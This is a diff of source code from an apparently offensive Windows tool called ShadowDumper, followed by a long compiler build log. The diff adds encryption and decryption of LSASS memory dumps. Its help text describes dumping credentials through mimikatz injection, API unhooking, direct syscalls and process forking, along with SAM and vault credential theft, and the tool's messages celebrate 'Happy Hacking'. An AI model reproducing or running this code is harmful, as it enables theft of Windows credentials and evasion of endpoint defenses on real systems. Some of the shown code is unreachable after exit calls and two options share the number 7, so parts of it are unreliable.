std::cout << "Happy Hacking.....Enjoy Dump!" << std::endl;
|
||||
exit(0);
|
||||
}
|
||||
else {
|
||||
SetConsoleColor(RED);
|
||||
std::cout << "Failed to dump lsass....oops!" << std::endl;
|
||||
exit(0);
|
||||
std::cout << "Do you want to encrypt the dump before writing on disk [yes/no]: ";
|
||||
{
|
||||
std::string response;
|
||||
std::cin >> response;
|
||||
if (response == "yes" || response == "y" || response == "Y") {
|
||||
if (callbacksMDWD(true)) {
|
||||
SetConsoleColor(CYAN);
|
||||
std::cout << "Happy Hacking.....Enjoy Encrypted Dump!" << std::endl;
|
||||
exit(0);
|
||||
}
|
||||
else {
|
||||
SetConsoleColor(RED);
|
||||
std::cout << "Failed to dump and encrypt data....oops!" << std::endl;
|
||||
exit(0);
|
||||
}
|
||||
}
|
||||
else {
|
||||
if (callbacksMDWD()) {
|
||||
SetConsoleColor(CYAN);
|
||||
std::cout << "Lsass memory dumped successfully without encryption!" << std::endl;
|
||||
exit(0);
|
||||
}
|
||||
else {
|
||||
SetConsoleColor(RED);
|
||||
std::cout << "Failed to dump data....oops!" << std::endl;
|
||||
exit(0);
|
||||
}
|
||||
}
|
||||
}
|
||||
break;
|
||||
case 5:
|
||||
if (reflectDump()) {
|
||||
SetConsoleColor(CYAN);
|
||||
std::cout << "Happy Hacking.....Enjoy Dump!" << std::endl;
|
||||
exit(0);
|
||||
}
|
||||
else {
|
||||
SetConsoleColor(RED);
|
||||
std::cout << "Failed to dump lsass....oops!" << std::endl;
|
||||
exit(0);
|
||||
std::cout << "Do you want to encrypt the dump before writing on disk [yes/no]: ";
|
||||
{
|
||||
std::string response;
|
||||
std::cin >> response;
|
||||
if (response == "yes" || response == "y" || response == "Y") {
|
||||
if (reflectDump(true)) {
|
||||
SetConsoleColor(CYAN);
|
||||
std::cout << "Happy Hacking.....Enjoy Encrypted Dump!" << std::endl;
|
||||
exit(0);
|
||||
}
|
||||
else {
|
||||
SetConsoleColor(RED);
|
||||
std::cout << "Failed to dump and encrypt data....oops!" << std::endl;
|
||||
exit(0);
|
||||
}
|
||||
}
|
||||
else {
|
||||
if (reflectDump()) {
|
||||
SetConsoleColor(CYAN);
|
||||
std::cout << "Lsass memory dumped successfully without encryption!" << std::endl;
|
||||
exit(0);
|
||||
}
|
||||
else {
|
||||
SetConsoleColor(RED);
|
||||
std::cout << "Failed to dump data....oops!" << std::endl;
|
||||
exit(0);
|
||||
}
|
||||
}
|
||||
}
|
||||
break;
|
||||
case 6:
|
||||
@@ -172,6 +193,31 @@ void ExecuteTask(int option) {
|
||||
exit(0);
|
||||
}
|
||||
break;
|
||||
case 8:
|
||||
SetConsoleColor(YELLOW);
|
||||
wchar_t inputFilePath[MAX_PATH];
|
||||
wchar_t outputFilePath[MAX_PATH];
|
||||
|
||||
std::wcin.ignore(std::numeric_limits<std::streamsize>::max(), L'\n');
|
||||
// Prompt user for input file path
|
||||
std::wcout << L"Enter the input file path: ";
|
||||
std::wcin.getline(inputFilePath, MAX_PATH); // Read input directly
|
||||
|
||||
// Prompt user for output file path
|
||||
std::wcout << L"Enter the output file path: ";
|
||||
std::wcin.getline(outputFilePath, MAX_PATH); // Read input directly
|
||||
|
||||
if (DecryptDumpFile(inputFilePath, outputFilePath)) {
|
||||
SetConsoleColor(CYAN);
|
||||
std::wcout << L"Decryption completed successfully.......Enjoy Dump!" << std::endl;
|
||||
exit(0);
|
||||
}
|
||||
else {
|
||||
SetConsoleColor(RED);
|
||||
std::wcout << L"Failed to decrypt the file. Please try again." << std::endl;
|
||||
exit(0);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
SetConsoleColor(RED);
|
||||
std::cout << "Invalid option! Please choose a valid option." << std::endl;
|
||||
@@ -186,19 +232,21 @@ void DisplayHelp() {
|
||||
SetConsoleColor(CYAN);
|
||||
std::cout << "Options:" << std::endl;
|
||||
SetConsoleColor(YELLOW);
|
||||
std::cout << " ShadowDumper.exe 1 To dump lsass memory using unhooking technique to inject modified mimikatz binary." << std::endl;
|
||||
std::cout << " ShadowDumper.exe 1 To dump lsass memory using unhooking technique to inject modified mimikatz binary [Token Elevation, SAM Dumping, Vault Credentials, Lsass Hashes Dumping]." << std::endl;
|
||||
SetConsoleColor(RED);
|
||||
std::cout << " ShadowDumper.exe 2 To dump lsass memory using unhooking technique to inject binary using direct syscalls with MDWD." << std::endl;
|
||||
SetConsoleColor(GREEN);
|
||||
std::cout << " ShadowDumper.exe 3 To dump lsass memory using simple MiniDumpWriteDump API." << std::endl;
|
||||
SetConsoleColor(CYAN);
|
||||
std::cout << " ShadowDumper.exe 4 To dump lsass memory using MINIDUMP_CALLBACK_INFORMATION callbacks." << std::endl;
|
||||
std::cout << " ShadowDumper.exe 4 To dump lsass memory using MINIDUMP_CALLBACK_INFORMATION callbacks and encrypt the dumps before writing on disk as per your choice." << std::endl;
|
||||
SetConsoleColor(YELLOW);
|
||||
std::cout << " ShadowDumper.exe 5 To dump lsass memory using process forking technique." << std::endl;
|
||||
std::cout << " ShadowDumper.exe 5 To dump lsass memory using process forking technique and encrypt the dumps before writing on disk as per your choice." << std::endl;
|
||||
SetConsoleColor(RED);
|
||||
std::cout << " ShadowDumper.exe 6 To dump lsass memory using direct syscalls with MiniDumpWriteDump." << std::endl;
|
||||
SetConsoleColor(GREEN);
|
||||
std::cout << " ShadowDumper.exe 7 To dump lsass memory using direct syscalls (native dump with needed streams for parsing offline)" << std::endl;
|
||||
std::cout << " ShadowDumper.exe 7 To dump lsass memory using direct syscalls (native dump with needed streams for parsing offline)." << std::endl;
|
||||
SetConsoleColor(CYAN);
|
||||
std::cout << " ShadowDumper.exe 7 To decrypt the dump file before offline parsing with tools like (mimikatz or pypykatz)." << std::endl;
|
||||
SetConsoleColor(GREEN);
|
||||
|
||||
|
||||
@@ -272,4 +320,4 @@ int main(int argc, char* argv[]) {
|
||||
|
||||
return 0;
|
||||
|
||||
}
|
||||
}
|
||||
@@ -17,7 +17,6 @@
|
||||
#define RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE 0x00000004 // don't update synchronization objects
|
||||
#endif
|
||||
|
||||
extern bool reflectDump();
|
||||
|
||||
typedef struct {
|
||||
HANDLE UniqueProcess;
|
||||
|
||||
@@ -9,9 +9,12 @@
|
||||
// Declaration of unhook function
|
||||
extern bool sysMDWD();
|
||||
extern bool simpleMDWD();
|
||||
extern bool callbacksMDWD();
|
||||
extern bool callbacksMDWD(bool encrypt = false);
|
||||
extern bool reflectDump(bool enc = false);
|
||||
extern bool DecryptDumpFile(LPCWSTR input, LPCWSTR output);
|
||||
extern bool syscallsNative();
|
||||
|
||||
|
||||
#define STATUS_SUCCESS 0
|
||||
#define OBJ_CASE_INSENSITIVE 0x00000040L
|
||||
#define FILE_OVERWRITE_IF 0x00000005
|
||||
|
||||
@@ -1,6 +1,8 @@
|
||||
#include <iostream>
|
||||
#include "syscallsnative.h"
|
||||
#include <Psapi.h>
|
||||
#include "DebugHelper.h"
|
||||
#include <vector>
|
||||
#pragma comment(lib, "dbghelp.lib")
|
||||
#pragma comment(lib, "Version.lib")
|
||||
|
||||
@@ -37,14 +39,15 @@ DWORD GetProcessIdByName(const std::wstring& processName) {
|
||||
|
||||
void watfile(struct dump_context* dc, RVA rva, const void* data, unsigned size)
|
||||
{
|
||||
DWORD written;
|
||||
|
||||
DWORD written;
|
||||
SetFilePointer(dc->hFile, rva, NULL, FILE_BEGIN);
|
||||
WriteFile(dc->hFile, data, size, &written, NULL);
|
||||
}
|
||||
|
||||
void append(struct dump_context* dc, const void* data, unsigned size)
|
||||
{
|
||||
|
||||
watfile(dc, dc->rva, data, size);
|
||||
dc->rva += size;
|
||||
}
|
||||
@@ -158,8 +161,6 @@ failed:
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
void minidump_add_memory_block(struct dump_context* dc, ULONG64 base, ULONG size, ULONG rva)
|
||||
{
|
||||
if (!dc->mem)
|
||||
@@ -491,7 +492,6 @@ BOOL mdwdA(HANDLE hProcess, DWORD pid, HANDLE hFile)
|
||||
dc.rva += nStreams * sizeof(mdDir);
|
||||
idx_stream = 0;
|
||||
|
||||
|
||||
mdDir.StreamType = SystemInfoStream;
|
||||
mdDir.Location.Rva = dc.rva;
|
||||
mdDir.Location.DataSize = dumpsysinfo(&dc);
|
||||
|
||||
@@ -0,0 +1,416 @@
|
||||
Assembling nativeASM.asm...
|
||||
Assembling sysMDWD.asm...
|
||||
callbacksMDWD.cpp
|
||||
decrypt.cpp
|
||||
forkdump.cpp
|
||||
The contents of <format> are available only with C++20 or later.
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(66,1): warning C4005: 'STATUS_WAIT_0': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2549): message : see previous definition of 'STATUS_WAIT_0'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(223,1): warning C4005: 'STATUS_ABANDONED_WAIT_0': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2550): message : see previous definition of 'STATUS_ABANDONED_WAIT_0'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(246,1): warning C4005: 'STATUS_USER_APC': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2551): message : see previous definition of 'STATUS_USER_APC'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(282,1): warning C4005: 'STATUS_TIMEOUT': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2552): message : see previous definition of 'STATUS_TIMEOUT'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(291,1): warning C4005: 'STATUS_PENDING': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2553): message : see previous definition of 'STATUS_PENDING'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(747,1): warning C4005: 'DBG_EXCEPTION_HANDLED': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2554): message : see previous definition of 'DBG_EXCEPTION_HANDLED'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(756,1): warning C4005: 'DBG_CONTINUE': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2555): message : see previous definition of 'DBG_CONTINUE'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(831,1): warning C4005: 'STATUS_SEGMENT_NOTIFICATION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2556): message : see previous definition of 'STATUS_SEGMENT_NOTIFICATION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(994,1): warning C4005: 'STATUS_FATAL_APP_EXIT': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2557): message : see previous definition of 'STATUS_FATAL_APP_EXIT'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1332,1): warning C4005: 'DBG_REPLY_LATER': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2558): message : see previous definition of 'DBG_REPLY_LATER'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1350,1): warning C4005: 'DBG_TERMINATE_THREAD': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2559): message : see previous definition of 'DBG_TERMINATE_THREAD'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1359,1): warning C4005: 'DBG_TERMINATE_PROCESS': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2560): message : see previous definition of 'DBG_TERMINATE_PROCESS'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1368,1): warning C4005: 'DBG_CONTROL_C': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2561): message : see previous definition of 'DBG_CONTROL_C'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1377,1): warning C4005: 'DBG_PRINTEXCEPTION_C': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2562): message : see previous definition of 'DBG_PRINTEXCEPTION_C'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1386,1): warning C4005: 'DBG_RIPEXCEPTION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2563): message : see previous definition of 'DBG_RIPEXCEPTION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1395,1): warning C4005: 'DBG_CONTROL_BREAK': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2564): message : see previous definition of 'DBG_CONTROL_BREAK'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1404,1): warning C4005: 'DBG_COMMAND_EXCEPTION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2565): message : see previous definition of 'DBG_COMMAND_EXCEPTION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1413,1): warning C4005: 'DBG_PRINTEXCEPTION_WIDE_C': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2566): message : see previous definition of 'DBG_PRINTEXCEPTION_WIDE_C'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1445,1): warning C4005: 'STATUS_GUARD_PAGE_VIOLATION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2567): message : see previous definition of 'STATUS_GUARD_PAGE_VIOLATION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1456,1): warning C4005: 'STATUS_DATATYPE_MISALIGNMENT': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2568): message : see previous definition of 'STATUS_DATATYPE_MISALIGNMENT'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1467,1): warning C4005: 'STATUS_BREAKPOINT': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2569): message : see previous definition of 'STATUS_BREAKPOINT'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1478,1): warning C4005: 'STATUS_SINGLE_STEP': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2570): message : see previous definition of 'STATUS_SINGLE_STEP'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1781,1): warning C4005: 'STATUS_LONGJUMP': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2571): message : see previous definition of 'STATUS_LONGJUMP'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1808,1): warning C4005: 'STATUS_UNWIND_CONSOLIDATE': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2572): message : see previous definition of 'STATUS_UNWIND_CONSOLIDATE'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1923,1): warning C4005: 'DBG_EXCEPTION_NOT_HANDLED': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2573): message : see previous definition of 'DBG_EXCEPTION_NOT_HANDLED'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2090,1): warning C4005: 'STATUS_ACCESS_VIOLATION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2574): message : see previous definition of 'STATUS_ACCESS_VIOLATION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2099,1): warning C4005: 'STATUS_IN_PAGE_ERROR': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2575): message : see previous definition of 'STATUS_IN_PAGE_ERROR'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2117,1): warning C4005: 'STATUS_INVALID_HANDLE': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2576): message : see previous definition of 'STATUS_INVALID_HANDLE'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2162,1): warning C4005: 'STATUS_INVALID_PARAMETER': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2577): message : see previous definition of 'STATUS_INVALID_PARAMETER'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2262,1): warning C4005: 'STATUS_NO_MEMORY': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2578): message : see previous definition of 'STATUS_NO_MEMORY'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2319,1): warning C4005: 'STATUS_ILLEGAL_INSTRUCTION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2579): message : see previous definition of 'STATUS_ILLEGAL_INSTRUCTION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2400,1): warning C4005: 'STATUS_NONCONTINUABLE_EXCEPTION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2580): message : see previous definition of 'STATUS_NONCONTINUABLE_EXCEPTION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2409,1): warning C4005: 'STATUS_INVALID_DISPOSITION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2581): message : see previous definition of 'STATUS_INVALID_DISPOSITION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3342,1): warning C4005: 'STATUS_ARRAY_BOUNDS_EXCEEDED': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2582): message : see previous definition of 'STATUS_ARRAY_BOUNDS_EXCEEDED'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3352,1): warning C4005: 'STATUS_FLOAT_DENORMAL_OPERAND': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2583): message : see previous definition of 'STATUS_FLOAT_DENORMAL_OPERAND'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3362,1): warning C4005: 'STATUS_FLOAT_DIVIDE_BY_ZERO': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2584): message : see previous definition of 'STATUS_FLOAT_DIVIDE_BY_ZERO'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3372,1): warning C4005: 'STATUS_FLOAT_INEXACT_RESULT': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2585): message : see previous definition of 'STATUS_FLOAT_INEXACT_RESULT'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3382,1): warning C4005: 'STATUS_FLOAT_INVALID_OPERATION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2586): message : see previous definition of 'STATUS_FLOAT_INVALID_OPERATION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3392,1): warning C4005: 'STATUS_FLOAT_OVERFLOW': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2587): message : see previous definition of 'STATUS_FLOAT_OVERFLOW'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3402,1): warning C4005: 'STATUS_FLOAT_STACK_CHECK': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2588): message : see previous definition of 'STATUS_FLOAT_STACK_CHECK'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3412,1): warning C4005: 'STATUS_FLOAT_UNDERFLOW': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2589): message : see previous definition of 'STATUS_FLOAT_UNDERFLOW'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3422,1): warning C4005: 'STATUS_INTEGER_DIVIDE_BY_ZERO': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2590): message : see previous definition of 'STATUS_INTEGER_DIVIDE_BY_ZERO'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3432,1): warning C4005: 'STATUS_INTEGER_OVERFLOW': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2591): message : see previous definition of 'STATUS_INTEGER_OVERFLOW'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3442,1): warning C4005: 'STATUS_PRIVILEGED_INSTRUCTION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2592): message : see previous definition of 'STATUS_PRIVILEGED_INSTRUCTION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(4388,1): warning C4005: 'STATUS_STACK_OVERFLOW': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2593): message : see previous definition of 'STATUS_STACK_OVERFLOW'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(4905,1): warning C4005: 'STATUS_DLL_NOT_FOUND': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2594): message : see previous definition of 'STATUS_DLL_NOT_FOUND'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(4934,1): warning C4005: 'STATUS_ORDINAL_NOT_FOUND': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2595): message : see previous definition of 'STATUS_ORDINAL_NOT_FOUND'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(4944,1): warning C4005: 'STATUS_ENTRYPOINT_NOT_FOUND': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2596): message : see previous definition of 'STATUS_ENTRYPOINT_NOT_FOUND'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(4954,1): warning C4005: 'STATUS_CONTROL_C_EXIT': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2597): message : see previous definition of 'STATUS_CONTROL_C_EXIT'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(5032,1): warning C4005: 'STATUS_DLL_INIT_FAILED': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2598): message : see previous definition of 'STATUS_DLL_INIT_FAILED'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(6029,1): warning C4005: 'STATUS_CONTROL_STACK_VIOLATION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2599): message : see previous definition of 'STATUS_CONTROL_STACK_VIOLATION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(7623,1): warning C4005: 'STATUS_FLOAT_MULTIPLE_FAULTS': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2600): message : see previous definition of 'STATUS_FLOAT_MULTIPLE_FAULTS'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(7633,1): warning C4005: 'STATUS_FLOAT_MULTIPLE_TRAPS': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2601): message : see previous definition of 'STATUS_FLOAT_MULTIPLE_TRAPS'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(7765,1): warning C4005: 'STATUS_REG_NAT_CONSUMPTION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2602): message : see previous definition of 'STATUS_REG_NAT_CONSUMPTION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(8748,1): warning C4005: 'STATUS_HEAP_CORRUPTION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2603): message : see previous definition of 'STATUS_HEAP_CORRUPTION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(8976,1): warning C4005: 'STATUS_STACK_BUFFER_OVERRUN': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2604): message : see previous definition of 'STATUS_STACK_BUFFER_OVERRUN'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(9103,1): warning C4005: 'STATUS_INVALID_CRUNTIME_PARAMETER': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2605): message : see previous definition of 'STATUS_INVALID_CRUNTIME_PARAMETER'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(9166,1): warning C4005: 'STATUS_ASSERTION_FAILURE': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2606): message : see previous definition of 'STATUS_ASSERTION_FAILURE'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(10075,1): warning C4005: 'STATUS_ENCLAVE_VIOLATION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2607): message : see previous definition of 'STATUS_ENCLAVE_VIOLATION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(10808,1): warning C4005: 'STATUS_INTERRUPTED': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2608): message : see previous definition of 'STATUS_INTERRUPTED'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(10817,1): warning C4005: 'STATUS_THREAD_NOT_RUNNING': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2609): message : see previous definition of 'STATUS_THREAD_NOT_RUNNING'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(11129,1): warning C4005: 'STATUS_ALREADY_REGISTERED': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2610): message : see previous definition of 'STATUS_ALREADY_REGISTERED'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(15048,1): warning C4005: 'STATUS_SXS_EARLY_DEACTIVATION': macro redefinition
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2612): message : see previous definition of 'STATUS_SXS_EARLY_DEACTIVATION'
|
||||
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(15057,1): warning C4005: 'STATUS_SXS_INVALID_DEACTIVATION': macro redefinition
|
||||
